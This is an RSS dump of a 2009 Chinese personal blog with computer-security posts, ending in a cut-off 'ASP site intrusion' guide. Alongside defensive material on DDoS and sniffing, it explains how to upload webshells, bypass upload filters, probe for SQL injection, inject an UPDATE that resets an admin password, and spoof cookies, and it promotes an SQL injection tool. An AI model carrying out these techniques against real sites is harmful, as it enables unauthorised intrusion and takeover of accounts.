如果攻击者可以控制&quot;$theme&quot;的话，很显然它可以利用&quot;$theme&quot;来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为&quot;theme&quot;的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把&quot;$theme&quot;的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。 <br>　　获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了攻击者的忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。 例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。 <br><br>　　如何通过库文件进行攻击？ <br><br>　　正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。 <br><br>　　最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个&quot;.inc&quot;的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是&quot;.php&quot;， &quot;.php3&quot;和&quot;.php4&quot;。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。 <br><br>　　最简单的解决方法就是：给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。 <br><br>　　下面是一个很明显的例子： <br><br>In main.php: <br>＜?php <br>$libDir = &quot;/libdir&quot;; <br>$langDir = &quot;$libdir/languages&quot;; <br>... <br>include(&quot;$libdir/loadlanguage.php&quot;: <br>?＞ <br><br>In libdir/loadlanguage.php: <br>＜?php <br>... <br><br>include(&quot;$langDir/$userLang&quot;); <br>?＞ <br>　　当&quot;libdir/loadlanguage.php&quot;被&quot;main.php&quot;调用时是相当安全的，但是因为&quot;libdir/loadlanguage&quot;具有&quot;.php&quot;的扩展名，因此远程攻击者可以直接请求这个文件，并且可以任意指定&quot;$langDir&quot;和&quot;$userLang&quot;的值。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401775#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:29:35 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401775</guid>
</item>

<item>
<title><![CDATA[找回误删并清除了回收站的文档]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401704</link>
<description><![CDATA[<br>　　找回误删并清除了回收站的文档<br>　　步骤：<br>　　1、单击“开始——运行，然后输入regedit （打开注册表）<br>　　2、依次展开：HEKEY——LOCAL——MACHIME/SOFTWARE/microsoft/WINDOWS/<br>　　CURRENTVERSION/EXPLORER/DESKTOP/NAMESPACE 在左边空白外点击“新建”<br>　　，选择：“主键”，把它命名为“645FFO40——5081——101B——9F08——<br>　　00AA002F954E”<br>　　再把右边的“默认”的主键的键值设为“回收站”，然后退出注册表。就OK啦。<br>　　3、要重启你的计算机。<br>　　只要你机器没有运行过磁盘整理。系统完好.任何时候的文件都可以找回来。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401704#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:28:24 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401704</guid>
</item>

<item>
<title><![CDATA[如何防御分布式拒绝服务DDoS的攻击]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401670</link>
<description><![CDATA[<br>DDoS是英文Distributed Denial of Service的缩写，中文意思是“分布式拒绝服务”。 是目前黑客经常采用而难以防范的攻击手段。那什么又是拒绝服务呢？用户可以这样理解，凡是能导致合法用户不能进行正常的网络服务的行为都算是拒绝服务攻击。拒绝服务攻击的目的非常明确，就是要阻止合法用户对正常网络资源的访问。 <br>　　黑客们通过很多“傀儡主机”向远程计算机发送大量看似合法的数据包，从而造成网络阻塞或服务器资源耗尽而导致拒绝服务。分布式拒绝服务攻击一旦被实施，攻击数据包就会犹如洪水般涌向远程计算机，从而把合法的数据包淹没，导致合法用户无法正常地访问服务器的网络资源，侵害合法用户的的利益。 <br>　　DDoS的表现形式主要有两种，一种是流量攻击，主要是针对网络带宽的攻击，即大量攻击包导致网络带宽被阻塞，合法的网络数据包被虚假的网络数据包淹没而无法到达主机；另一种为资源耗尽攻击，主要是针对服务器主机进行的攻击，即通过大量的攻击包导致主机的内存被耗尽，或是CPU被内核及应用程序占完而造成无法提供网络服务，这些攻击都会给合法用户带来极大的损失。聪明的黑客还会让这些僵尸计算机伪造发送攻击数据包的IP地址，并且将攻击目标的IP地址插在数据包的原始地址处，这就是所谓的反射攻击。服务器或路由器看到这些资料包后会转发(即反射)给原始IP地址一个接收响应，更加重了目标主机所承受的数据流。 <br>　　DDoS的攻击类型目前主要包括三种方式，即TCP-SYN Flood攻击、UDP Flood攻击以及提交脚本攻击。 <br>　　那么面对这些DDoS的攻击我们能做些什么呢，如何降低被攻击的可能行呢？下面的防范方法可以给你答案。 <br>　　1、确保所有服务器采用最新系统，并打上安全补丁。计算机紧急响应协调中心发现，几乎每个受到DDoS攻击的系统都没有及时打上补丁。对一些重要的信息（例如系统配置信息）建立和完善备份机制。对一些特权账号（例如管理员账号）的密码设置要谨慎。通过这样一系列的举措可以把攻击者的可乘之机降低到最小。 <br>　　2、删除多余的网络服务，在网络管理方面，要经常检查系统的物理环境，禁止那些不必要的网络服务。建立边界安全界限，确保输出的包受到正确限制。经常检测系统配置信息，并注意查看每天的安全日志。如果你是一个单机用户，可去掉多余不用的网络协议，完全禁止NetBIOS服务，从而堵上这个危险的“漏洞”。 <br>　　3、自己定制防火墙规则，利用网络安全设备（例如：硬件防火墙）来加固网络的安全性，配置好这些设备的安全规则，过滤掉所有可能的伪造数据包。 <br>　　4、确保从服务器相应的目录或文件数据库中删除未使用的服务如FTP或NFS。Wu-Ftpd等守护程序存在一些已知的漏洞，黑客通过根攻击就能获得访问特权系统的权限，并能访问其他系统——甚至是受防火墙保护的系统。 <br>　　5、禁止内部网通过Modem连接至PSTN系统。否则，黑客能通过电话线发现未受保护的主机，即刻就能访问极为机密的数据。 <br>　　6、禁止使用网络访问程序如Telnet、Ftp、Rsh、Rlogin和Rcp，以基于PKI的访问程序如SSH取代。SSH不会在网上以明文格式传送口令，而Telnet和Rlogin则正好相反，黑客能搜寻到这些口令，从而立即访问网络上的重要服务器。 <br>　　7、限制在防火墙外与网络文件共享。这会使黑客有机会截获系统文件，并以特洛伊木马替换它，文件传输功能无异将陷入瘫痪。 <br>　　8、在防火墙上运行端口映射程序或端口扫描程序。大多数事件是由于防火墙配置不当造成的，使DoS/DDoS攻击成功率很高，所以定要认真检查特权端口和非特权端口。 <br>　　9、检查所有网络设备和主机/服务器系统的日志。只要日志出现漏洞或时间出现变更，几乎可以肯定：相关的主机安全受到了危胁。 <br>　　10、确保管理员对所有主机进行检查，而不仅针对关键主机。这是为了确保管理员知道每个主机系统在运行什么？谁在使用主机？哪些人可以访问主机？不然，即使黑客侵犯了系统，也很难查明。 <br>　　虽然DDoS攻击不可避免，但相信做到以上十条，你就可以比别人更加远离DDos的攻击，保证合法用户的网络畅通。<br>本篇文章来源于 黑客基地-全球最大的中文黑客站 原文链接：<a href="http://www.hackbase.com/tech/2008-10-04/41809.html" target="_blank">http://www.hackbase.com/tech/2008-10-04/41809.html</a><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401670#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:27:50 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401670</guid>
</item>

<item>
<title><![CDATA[网络监听的原理、实现技术与防范方法]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401611</link>
<description><![CDATA[<br><span style="color:#800080;font-size:18px;font-family:'function(){var';line-height:1.8em;">&gt;24)&amp;0xff;return this.FONTMAP.substring(2*(id-1),2*id);}&quot;&gt;网络监听的原理、实现技术与防范方法</span><wbr /><br><wbr /><a href="http://b.cnc.qzone.qq.com/ac/b.gif" target="_blank"><img style="width:873px;height:230px;border:0;" src="http://b.cnc.qzone.qq.com/ac/b.gif" /></a><wbr /> <br>局域网具有设备共享、信息共享、可进行高速数据通讯和多媒体信息通信、分布式处理、具有较高的兼容性和安全性等基本功能和特点。目前局域网主要用于办公室自动化和校园教学及管理，一般可根据具体情况采用总线形、环形、树形及星形的拓扑结构。 <br><br>一、网络监听 <br>网络监听技术本来是提供给网络安全管理人员进行管理的工具，可以用来监视网络的状态、数据流动情况以及网络上传输的信息等。当信息以明文的形式在网络上传输时，使用监听技术进行攻击并不是一件难事，只要将网络接口设置成监听模式，便可以源源不断地将网上传输的信息截获。网络监听可以在网上的任何一个位置实施，如局域网中的一台主机、网关上或远程网的调制解调器之间等。 <br><br>二、在局域网实现监听的基本原理 <br>对于目前很流行的以太网协议，其工作方式是：将要发送的数据包发往连接在一起的所有主机，包中包含着应该接收数据包主机的正确地址，只有与数据包中目标地址一致的那台主机才能接收。但是，当主机工作监听模式下，无论数据包中的目标地址是什么，主机都将接收(当然只能监听经过自己网络接口的那些包)。 <br>在因特网上有很多使用以太网协议的局域网，许多主机通过电缆、集线器连在一起。当同一网络中的两台主机通信的时候，源主机将写有目的的主机地址的数据包直接发向目的主机。但这种数据包不能在IP层直接发送，必须从TCP/IP协议的IP层交给网络接口，也就是数据链路层，而网络接口是不会识别IP地址的，因此在网络接口数据包又增加了一部分以太帧头的信息。在帧头中有两个域，分别为只有网络接口才能识别的源主机和目的主机的物理地址，这是一个与IP地址相对应的48位的地址。 <br>传输数据时，包含物理地址的帧从网络接口(网卡)发送到物理的线路上，如果局域网是由一条粗缆或细缆连接而成，则数字信号在电缆上传输，能够到达线路上的每一台主机。当使用集线器时，由集线器再发向连接在集线器上的每一条线路，数字信号也能到达连接在集线器上的每一台主机。当数字信号到达一台主机的网络接口时，正常情况下，网络接口读入数据帧，进行检查，如果数据帧中携带的物理地址是自己的或者是广播地址，则将数据帧交给上层协议软件，也就是IP层软件，否则就将这个帧丢弃。对于每一个到达网络接口的数据帧，都要进行这个过程。 <br>然而，当主机工作在监听模式下，所有的数据帧都将被交给上层协议软件处理。而且，当连接在同一条电缆或集线器上的主机被逻辑地分为几个子网时，如果一台主机处于监听模式下，它还能接收到发向与自己不在同一子网(使用了不同的掩码、IP地址和网关)的主机的数据包。也就是说，在同一条物理信道上传输的所有信息都可以被接收到。另外，现在网络中使用的大部分协议都是很早设计的，许多协议的实现都是基于一种非常友好的、通信的双方充分信任的基础之上，许多信息以明文发送。因此，如果用户的账户名和口令等信息也以明文的方式在网上传输，而此时一个黑客或网络攻击者正在进行网络监听，只要具有初步的网络和TCP/IP协议知识，便能轻易地从监听到的信息中提取出感兴趣的部分。同理，正确的使用网络监听技术也可以发现入侵并对入侵者进行追踪定位，在对网络犯罪进行侦查取证时获取有关犯罪行为的重要信息，成为打击网络犯罪的有力手段。<br><br>三、局域网监听的简单实现 <br>要使主机工作在监听模式下，需要向网络接口发出I/O控制命令，将其设置为监听模式。在Unix系统中，发送这些命令需要超级用户的权限。在Windows系列操作系统中，则没有这个限制。要实现网络监听，可以自己用相关的计算机语言和函数编写出功能强大的网络监听程序，也可以使用一些现成的监听软件，在很多黑客网站或从事网络安全管理的网站都有。 <br>1. 一个使用sniffer pro进行监听并解析IPv4协议头部的例子 <br>(1)IP头部概述 <br>对于上图中各个字段的含义以及IPv4和IPv6报头的区别，RFC文档和一些计算机网络基础的书籍中都有详细的说明，在此不再赘述。 <br>(2)实例解析 <br>是用sniffer pro进行监听时捕获的IPv4协议报头。 <br>第一部分显示的是关于IP的版本信息，它的当前版本号为4;然后是头部的长度，其单位是32-bit的字，本例中值为20bytes。 <br>第二部分是有关服务类型的信息。 <br>第三部分为头部长度字段，本例中IP报头长为56字节。 <br>第四部分是关于分段的内容。 <br>第五部分是生存时间字段，一般为64或128，本例为128seconds/hops。 <br>第六部分是协议部分，说明了上层使用的服务类型，本例中为UDP。 <br>第七部分以下各字段分别为校验和、源地址、目的地址等。 <br>2. 一个使用sniffer pro进行监听获取邮箱密码的例子 <br>通过对用监听工具捕获的数据帧进行分析，可以很容易的发现敏感信息和重要信息。例如，对一些明码传输的邮箱用户名和口令可以直接显示出来。 <br>gao-jian2001为邮箱用户名，12345为邮箱密码，都以明码显示，由此也可以看到局域网监听技术如果用于不正当的目的会有多大的危害。 <br>在以上各部分中还有更详细的信息，在此不作更多的分析。通过这个例子想说明的是通过网络监听可以获得网络上实时传输的数据中的一些非常重要的信息，而这些信息对于网络入侵或入侵检测与追踪都会是很关键的。<br><br>四、如何检测并防范网络监听 <br>网络监听是很难被发现的，因为运行网络监听的主机只是被动地接收在局域局上传输的信息，不主动的与其他主机交换信息，也没有修改在网上传输的数据包。 <br>1. 对可能存在的网络监听的检测 <br>(1)对于怀疑运行监听程序的机器，用正确的IP地址和错误的物理地址ping，运行监听程序的机器会有响应。这是因为正常的机器不接收错误的物理地址，处理监听状态的机器能接收，但如果他的IP stack不再次反向检查的话，就会响应。 <br>(2)向网上发大量不存在的物理地址的包，由于监听程序要分析和处理大量的数据包会占用很多的CPU资源，这将导致性能下降。通过比较前后该机器性能加以判断。这种方法难度比较大。 <br>(3)使用反监听工具如antisniffer等进行检测 <br>2. 对网络监听的防范措施 <br>(1)从逻辑或物理上对网络分段 <br>网络分段通常被认为是控制网络广播风暴的一种基本手段，但其实也是保证网络安全的一项措施。其目的是将非法用户与敏感的网络资源相互隔离，从而防止可能的非法监听。 <br>(2)以交换式集线器代替共享式集线器 <br>对局域网的中心交换机进行网络分段后，局域网监听的危险仍然存在。这是因为网络最终用户的接入往往是通过分支集线器而不是中心交换机，而使用最广泛的分支集线器通常是共享式集线器。这样，当用户与主机进行数据通信时，两台机器之间的数据包(称为单播包Unicast Packet)还是会被同一台集线器上的其他用户所监听。 <br>因此，应该以交换式集线器代替共享式集线器，使单播包仅在两个节点之间传送，从而防止非法监听。当然，交换式集线器只能控制单播包而无法控制广播包(Broadcast Packet)和多播包(Multicast Packet)。但广播包和多播包内的关键信息，要远远少于单播包。 <br>(3)使用加密技术 <br>数据经过加密后，通过监听仍然可以得到传送的信息,但显示的是乱码。使用加密技术的缺点是影响数据传输速度以及使用一个弱加密术比较容易被攻破。系统管理员和用户需要在网络速度和安全性上进行折中。 <br>(4)划分VLAN <br>运用VLAN(虚拟局域网)技术，将以太网通信变为点到点通信，可以防止大部分基于网络监听的入侵。<br><br>五、结束语 <br>网络监听技术作为一种工具，总是扮演着正反两方面的角色。对于入侵者来说，最喜欢的莫过于用户的口令，通过网络监听可以很容易地获得这些关键信息。而对于入侵检测和追踪者来说，网络监听技术又能够在与入侵者的斗争中发挥重要的作用。鉴于目前的网络安全现状，我们应该进一步挖掘网络监听技术的细节，从技术基础上掌握先机，才能在与入侵者的斗争中取得胜利。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401611#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:26:51 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401611</guid>
</item>

<item>
<title><![CDATA[[绝对精华]PHP之高级应用]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401552</link>
<description><![CDATA[<br>全球超过300万个互联网网站的管理员都在使用PHP，使得它成为最为普及的服务器端脚本语言之一。其特点是运行速度快、稳定可靠、跨平台，而且是开放源代码软件。随你使用的水平不同，PHP可以很简单，也可以很复杂，可以只使用它发送HTML表格元素，还可以在PHP应用程序中集成Java和XML。 <br>如果你对PHP有一定的了解或者看过一些初步的教材，这些技巧可以扩展你对PHP的认识，使你掌握一些常见的和高级的PHP功能。 <br>一、把PHP安装为Apache的DSO <br>PHP在Linux/Unix平台上经常与Apache搭配使用，在安装PHP时，有三种安装方式可供选择：静态模式、动态模式（DSO）、CGI二进制模式。 <br>由于易于维护和升级，我强烈建议以DSO方式安装PHP。例如，初次安装时如果安装的PHP仅支持数据库，随后希望再安装支持加密的模块，只要运行“make clean”，添加新的配置选项，然后再运行“make”和“make install”即可，一个新的PHP模块就会安装在Apache中适当的位置上，然后重新启动Apache，而无需重新编译Apache。 <br>下面的步骤将安装一个全新的Apache，并以DSO方式安装PHP： <br>1、从Apache软件基金会得到最新版本的Apache源代码； <br>2、把得到的源代码放到/usr/local/或者/opt/目录下，或者你指定的任意目录中； <br>3、运行Gunzip对文件进行解压缩，得到后缀为.tar的文件； <br>4、运行下面的命令，把文件安装到apache_[version]目录中： <br>tar -xvf apache_[version].tar <br>5、进入/usr/local/apache_[version]目录（或者在步骤4中安装压缩文件的目录）； <br>6、键入下面的命令为编译Apache作准备，用你自己的路径替换其中的[path]，例如，/usr/local/apache[version]，现在已经设置了mod_so的新值，它将允许Apache使用DSO模块； <br>7、回到提示符状态后键入make，并等待再次回到提示符状态； <br>8、执行“make install”命令。 <br>至此，Apache已经安装完毕，系统将重回到提示符状态。接下来我们开始安装PHP： <br>1、在PHP主页的下载区中找到最新版本的链接； <br>2、把文件下载到一个适当的目录中，例如/usr/local/或/opt/或者你指定的任意目录中； <br>3、运行Gunzip对文件进行解压缩，得到后缀为.tar的文件； <br>4、执行下面的命令把文件安装在php-[version]目录中： <br>tar -xvf php-[version] <br>5、进入/usr/local/php-[version]目录或在步骤4中指定的目录； <br>至此，已经作好了以DSO方式安装PHP的准备工作，唯一需要修改的配置选项是with-apxs（这是Apache的bin目录中的一个文件）。为了得到较高的性能，我没有安装对MySQL的支持模块。 <br>./configure --with-mysql=/[path to mysql] --with-apxs=/[path to apxs] <br>6、回到提示符状态后执行make命令，等待重新返回到提示符状态； <br>7、执行make install命令。 <br>至此，系统以DSO方式在Apache的模块目录中安装了PHP，并对Apache的httpd.conf文件作适当的修改后返回到提示符状态。回到提示符状态后，你还需要对Apache的httpd.conf文件作一些修改。 <br>1、找到包含有ServerAdmin的一行，添加你的电子邮件地址，如下所示： <br>ServerAdmin you@yourdomain.com <br>2、找到以ServerName开头的行，把它改为真正的值，例如： <br>ServerName localhost <br>3、找到内容如下所示的小节： <br># And for PHP 4.x, use: <br># <br>#AddType application/x-httpd-php .php <br>#AddType application/x-httpd-php-source .phps <br>修改这些行的内容，使PHP 4.0的AddType不再成为注释，并添加希望在PHP中使用的文件后缀名，上面的内容变为如下所示的内容： <br># And for PHP 4.x, use: <br># <br>AddType application/x-httpd-php .php .phtml <br>AddType application/x-httpd-php-source .phps <br>保存文件，回到上一级目录，执行下面的命令重新启动Apache： <br>./bin/apachectl start <br>如果在启动时没有出现错误提示信息，就可以通过创建一个名为phpinfo.php的只有如下所示一行内容的文件，对安装的Apache、PHP进行测试： <br><br>把这个文件保存到Apache的文档根目录（htdocs）中，然后开启浏览器，键入http://localhost/phpinfo.php地址，屏幕上就会出现许多的变量和它们的值。 <br>如果要重新配置PHP，需要再次运行make clean命令，然后执行带有一系列选项的./configure命令，然后再执行make和make install命令，Apache的目录模块中就会出现一个新的模块，只要再重新启动Apache加载这个新的模块，就一切OK了。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401552#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:25:52 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401552</guid>
</item>

<item>
<title><![CDATA[文件加密五种常用方法]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401512</link>
<description><![CDATA[<br>方法一：修改后缀名<br>　　严格地说，这并不是一种加密的方法，更像是虚张声势的方法，因为这种方法对高手无用!但真正的高手是不会关注你的。这种方法就是将你想保密的文件改为一个任意字符的后缀名。如：将1<br>　　23.doc改为456.swc，在别人来看，是很难知道其中的秘密的。<br>　　方法二：目录欺骗法<br>　　新建一个目录，把想保密的文件放入该文件夹，然后将文件夹改名为“123.wav.{00020c01-0000-0000-c000- 000000000046}”,你会看到你的这个文件夹会变成一个WAV文件的图标，双击它也是打开媒体播放器(但就是无法播放)。想浏览该文件需要在 “资源管理器”里找。<br>　　方法三：使用软件加密<br>　　使用一些专业的文件加密软件即可。这一类软件有很多，用户可以根据自己需要选择。<br>　　方法四：硬件加密<br>　　就是利用一些诸如“硬件狗”等这类工具进行相关的设定，使用计算机时必须使用这类硬件才能正常启动电脑和使用。<br>　　又如：现在很多硬件厂商为其主板专门设计的USB接口加密锁，只有当计算机插上这个加密锁之后，才能进入操作系统和正常使用。不用这个USB加密锁，即使你清空CMOS也无济于事。<br>　　方法五：文件相互捆绑<br>　　这种方法就是将你要加密的文件捆绑在另一个文件中，以达到瞒天过海的效果。这方面的代表软件有图形加密软件，其加密手法就是把文件隐藏在图片格式文件中，除非知道密码并用特殊工具打开，否则你只能看到图片。这个软件操作起来相当简便，一个加密流程需要的步骤是：选择伪装图片→选择加密文件→设置加密密码→完成。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401512#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:25:12 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401512</guid>
</item>

<item>
<title><![CDATA[SQLServer注入工具改进版 v1.02]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401469</link>
<description><![CDATA[<br><a href="http://b14.photo.store.qq.com/http_imgload.cgi?/rurl4_b=e8ad615bb55d1917ceff1e9f739dce82b3c0c39257a3f7c8ba621441f4253b2df77429d2cc725accd3e95867f185ebdafc31a1a878baa57ba9226136769286fab559fa9fd5ac3c13973ae773da1a0b228f997472" target="_blank"><wbr /><a href="http://b14.photo.store.qq.com/http_imgload.cgi?/rurl4_b=e8ad615bb55d1917ceff1e9f739dce82b3c0c39257a3f7c8ba621441f4253b2df77429d2cc725accd3e95867f185ebdafc31a1a878baa57ba9226136769286fab559fa9fd5ac3c13973ae773da1a0b228f997472" target="_blank"><img style="border:0;" src="http://b14.photo.store.qq.com/http_imgload.cgi?/rurl4_b=e8ad615bb55d1917ceff1e9f739dce82b3c0c39257a3f7c8ba621441f4253b2df77429d2cc725accd3e95867f185ebdafc31a1a878baa57ba9226136769286fab559fa9fd5ac3c13973ae773da1a0b228f997472" /></a><wbr /></a><wbr /> <br><br>1.02版改进： <br>1.增加了对&quot;asp?id=169&quot;,如果169为文字型，也可注入。 <br>2.去除了不必要的RzMenuButton控件，大家容易编译。 <br>本程序参考hnxyy网友的大部分代码，在此表示感谢，本人只是写了界面及对注入做了一个更合理的流程安排。 <br>感谢盒子提供了一个很好的学习的平台。 <br>本程序只供测试研究使用，由此软件造成的后果一概不负责任。 <br>功能介绍： <br>1.请按照获取[SQL Server信息]、[获取表名]、[获取列名]、[获取数据]的顺序进行操作； <br>2.软件将自动保存获取的信息，并可以导出（在列表右击弹出菜单）； <br>3.可以建立多个项目，在左边的TTReeView右击弹出菜单； <br>4.获取数据时可以自行设定条件，以获取特定的数据。 <br>BUG： <br>1.有时获取所有列的数据时不能获取数据，获取指定列时，却又能获取； <br>2.暂时只能注入&quot;<a href="http://www.xxx.com.cn/spjj.asp?id=169" target="_blank">http://www.xxx.com.cn/spjj.asp?id=169</a><wbr />&quot;这样的地址（注意id=后面的为数字）； <br>3.暂时只能注入有错误提示的用SQL Server做数据库的网站。 <br>由于本人对注入研究不够，时间有限，暂时只能写到这里，希望大家继续，加入更多功能。 <!--v:3.2--> ]]></description>
<category><![CDATA[电脑学习]]></category>
<author><![CDATA[24746393@qq.com(勿忘我)]]></author>
<comments>http://24746393.qzone.qq.com/blog/1256401469#comment</comments>
<qz:effect>134218241</qz:effect>
<pubDate>Sat, 24 Oct 2009 16:24:29 GMT</pubDate>
<guid>http://24746393.qzone.qq.com/blog/1256401469</guid>
</item>

<item>
<title><![CDATA[Asp网站入侵详解]]></title>
<link>http://24746393.qzone.qq.com/blog/1256401264</link>
<description><![CDATA[<br>一:技术总结 <br>     随着互联网络的飞速发展，各种各样的大小网站不断地涌现，在这些大小网站中，动态的网站以其实 <br>用性、多样性占据了绝对的优势。 <br>     由于ASP系统在互联网上广泛的应用，针对ASP系统的脚本攻击最近闹得是红红火火。在这些攻击中， <br>攻击者多是利用注入、暴库、旁注、cookies欺骗等手段获取管理员的权限， <br>     通过直接上传或后台备份等各种入侵手法 <br>     取得网站webshell继而控制整个站点 <br>     接着通过webshell提升权限获取服务器管理权限。 <br>     什么是webshell？webshell就是一个相应脚本语言编写成的，具有在线编辑、删除、新增文件、执行 <br>程序及SQL语句等功能的脚本文件，具有随意更改目标首页,删除文件等权限. <br>     如著名的老兵以及海洋顶端等就是这样一个ASP脚本文件,我们俗称大马以及小马等. <br>--------------------------------------------------   <br>二:主要的入侵手段 <br>     1.上传漏洞 <br>       一:如典型的动网上传漏洞,我们直接访问上传页面。 <br>       二:进入网站后台直接上传脚本木马,获得webshell. <br>         因为有些网站系统对管理员十分信任.进入后台后,只要找到上传地点.就能任意上传脚本木马. <br>       三:添加上传类型. <br>   <br>         如果系统代码限定了不允许上传ASP文件,那么我们可添加允许上传ASA CER等文件.然后将脚本木马 <br>     <br>       后缀名相应的修改成ASA CER.webshell一样可以使用。 <br>     <br>       四:通过后台备份功能恢复ASP后缀名 <br>         如果无法上传ASP.ASA.CER等后缀名文件。我们修改脚本木马后缀名ASP为JPG或者GIF图片后缀名 <br>       上传成功后.通过后台备份数据库功能恢复文件ASP后缀名. <br>       五:抓包上传 <br>         通过抓取上传真实地址以及管理员认证数据COOKIES. <br>         然后通过明小子上传脚本木马.获得webshell. <br>       其实上传方法还有很多.不过.也都是在基础上发展而来.只要我掌握了知识.学习方法就十分的简单 <br>   <br>     2.注入漏洞 <br>       在众多针对脚本系统的攻击中，注入可谓是闹得最红火的攻击手段了. <br>       目前引起SQL注入的原因主要是程序员在编写帐脚本程序时对特殊字符过滤的不完全引起的. <br>       比如一个网址 <a href="http://www.xxx.com/asp?id=1" target="_blank">http://www.xxx.com/asp?id=1</a><wbr /> <br>       是以ID=数字形式结尾网址     我们通过 网址后加上个 and 1=1 和 and 1=2 分别访问 <br>       如果加上and 1=1     显示正常页面 加上 and 1=2 显示出错     返回错误页面   <br>       则表示存在注入漏洞 <br>       那么一个网址存在注入漏洞我们怎么去利用呢? <br>       首先可以使用工具. <br>       比如明小子.阿D注入工具.猜解帐号以及密码等重要信息. <br>       对于SQL数据库如果无法破解猜解出来的MD5加密密码 <br>       那么我们可以用以下命令: <br>       http://注入网址;update admin set password='新MD5密码' where password='旧MD5密码'-- <br>[admin为表名.] <br>       更改管理员密码 <br>       3.COOKIE诈骗 <br>       COOKIE是什么呢? <br>       COOKIE是你上网时由网站所为你发送的值记录了你的一些资料，比如IP，姓名密码等。 <br>       怎样诈骗呢？ <br>       如果我们现在已经知道了XX站管理员的站号和MD5密码了 但是破解 不出来密码 （MD5是加密后的一 <br>个16位的密码） <br>       我们就可以用COOKIE诈骗来实现，把自己的ID修改成管理员的，MD5密码也修改成他的，通过工具 <br>修改COOKIE 这样就答到了COOKIE诈骗的目的，系统就会认定你就是管理员。 <br>       4.旁注 <br>     如果你的网站有难度.那么我们就入侵与你同一台虚拟机的网站,通过入侵别人的网站 <br>     拿到系统权限 也就能控制你的网站 <br>     很多网站是存放在同一个虚拟机上的，也许某一台虚拟机上有几百个网站.那么我们只需要入侵 <br>     入侵其中第一个.从而控制全部的网站.就是这么简单! <br>       5.暴库 <br>       一般而言，我们要获取一个站点的shell，必须先获得对方的后台管理权限，要获得对方的管理权限 <br>当然先要得到对方的管理员用户以及密码！得到对方管理员用户各种密码的方法有很多. <br>       通过下载数据库后继而破解MD5加密信息.从而获得管理员账号. <br>       但是一个网站的数据库当然不会让你随意下载到. <br>       那么我们怎么去找数据库地址呢? <br>       最简单的就是暴库了. <br>       通过服务器返回的错误信息提示暴出数据库地址的。 <br>       但是,这漏洞并不见,毕竟直接暴露出系统的数据库.这是多么危险的事情呢! <br>       暴库方法:比如一个站的地址为 <br>   <br>    <a href="http://www.xxx.com/xxx.asp?ID=1&amp;ID=2" target="_blank">http://www.xxx.com/xxx.asp?ID=1&amp;ID=2</a><wbr /> <br>       我们将com/dispbbs中间的/换成%5c 如果存在暴库漏洞 <br>       既可直接暴露出数据库的绝对路径 使用工具 迅雷等下载即可 <br>     <br>       还有利用默认的数据库路径 <a href="http://www.xxx.com/" target="_blank">http://www.xxx.com/</a><wbr /> 后面加上 conn.asp 如果没有修改默认 <br>       